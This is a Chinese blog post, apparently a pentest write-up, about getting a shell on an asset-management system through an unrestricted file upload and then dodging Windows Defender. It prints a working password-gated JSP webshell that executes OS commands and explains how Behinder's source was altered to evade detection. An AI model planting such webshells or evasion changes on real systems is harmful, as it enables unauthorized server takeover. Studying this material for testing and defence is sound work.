某資產管理系統打點過程中的免殺經歷

合天网安实验室發表於2024-03-05

上週初,被扔過來單位內部的一個連結,讓滲透一下,本以為三下五除二很快就能測完,沒想到在對抗殺軟時費了一番功夫,再加上雜七雜八的事兒,經過了一個星期才測完(# ̄~ ̄#)。開啟連結,見到一個熟悉的登入框,是一個資產管理系統。

image-20240305135531906

在進行了一番埠目錄、認證機制、會話管理、授權訪問等方面的檢查後發現了一些問題,這裡不做贅述,此次重點想寫寫拿shell的經歷。進入主頁面,沒用多長時間就找到了上傳點,而且有兩個。一個是頭像上傳,涉及裁剪、壓縮等操作。

image.png

另一個是工具上傳,允許直接上傳檔案(包)。兩全傷害取其輕,就用這個。

image-20240305135557336

建立個txt,隨便加點內容進去,burp抓包看看這個功能的情況。

image.png

上傳成功,並且有回顯路徑,有戲。

image.png

訪問一下檔案地址也展現出來了,直接上馬子試試。

【----幫助網安學習,以下所有學習資料免費領!加vx:dctintin,備註 “部落格園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

image.png

被阻斷,不允許上傳.java、.class、.jsp、.html等型別檔案。一看就是之前經歷過滲透測試,吃過虧(事後查了一下這家軟體公司,做了不少企業的資產管理系統,是個成熟的專案,而且公司在2023年中已經上市,儘管在北交所,也必然會遵循一定的程式碼規範)。剛才上傳用的是冰蠍4,檢視burp的history中並無請求出現,證明是前端驗證。嘗試繞過前端驗證,直接將冰蠍原始碼上傳。

image.png

成功繞過,並且返回了檔案路徑……這就要完活兒了?!似乎有些輕鬆。訪問一下:

image.png

404,檔案沒了。緊接著又拿哥斯拉試了一遍,同樣是返回了路徑,同樣是404……猜測可能有殺軟,落地檔案被刪除。接下來要做免殺了,使用線上工具對webshell進行變異,上傳後一路404,更加確定殺軟的存在。並且這款殺軟的靜態特徵檢測庫還很全,如果僅僅混淆邊邊角角的程式碼是無法過它的,猜測它是能夠匹配關鍵程式碼、關鍵API。

image.png

變異的厲害了還丟擲了500,破壞了webshell自身的邏輯,甚至是新增了錯誤程式碼。看來省事兒的方式效果不理想,想要落地還是得自己動手,ε=(´ο`*)))唉。

image.png

最後使用了一個加長版的一句話木馬才成功落地,請求如下:

image.png

訪問檔案路徑並帶上whoami。

image.png

直接就是administrator管理員。此馬兒與傳統的一句話jsp一樣,也是用Runtime來執行命令,只不過前面加了一個引數pwd固定值判斷,後面使用System.out來print一個String,並且這個String是命令執行的結果。

<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>

但是蟻劍不給力,連線時報500。嘗試了多種設定均以失敗告終,哪位大神研究過蟻劍還請指導一下,Thanks♪(・ω・)ノ。

image.png

測試到這個地步對於這個活兒來說其實可以交差了,已經拿到了許可權,但如果想進行橫向的話是無法繼續利用的,所以還是要做免殺。掏出珍藏多年的idea(鄙視自己一下ε(┬┬﹏┬┬)3),開啟冰蠍,調好格式,嘗試做混淆。鑑於前面踩過坑,已經瞭解到該殺軟能夠檢測到關鍵程式碼,所以直接分析原始碼。作為webshell,回顯是必須的功能,而對於冰蠍來說,response資料來自於request.getReader().readLine()。因此直接對第18行動手,先用註釋嘗試一下,隨便填加一些字元。

image.png

傳送請求:

image.png

成功。訪問一下回顯路徑:

image.png

空白頁,沒有報404,證明檔案確實落地了,沒有被殺掉。上冰蠍:

image.png

連線成功!免殺完畢。這次是真的可以交差了。進來後第一件事兒就是看看到底是哪個殺軟在作祟:

1705547941849.png

MsMpEng.exe,微軟的Windows Defender。

image.png

好奇心驅使,又拿了一個原版的冰蠍本地驗證一下,果不其然,被秒殺(圖中右上角的檔案):

image.png

總結,這次拿shell的過程主要是在對抗殺軟上耗費了很多時間,其次是在尋找殺軟的程序上。因為伺服器上一般都有專業防毒軟體或者HIDS防護,沒有想到是Windows自己的Defender。雖然在寫的時候只用一句話一張圖帶過,但在搜尋程序的時候還特地整理了一份常見殺軟的表格,挨個兒比對才有了最後那張圖。

更多網安技能的線上實操練習,請點選這裡>>

相關文章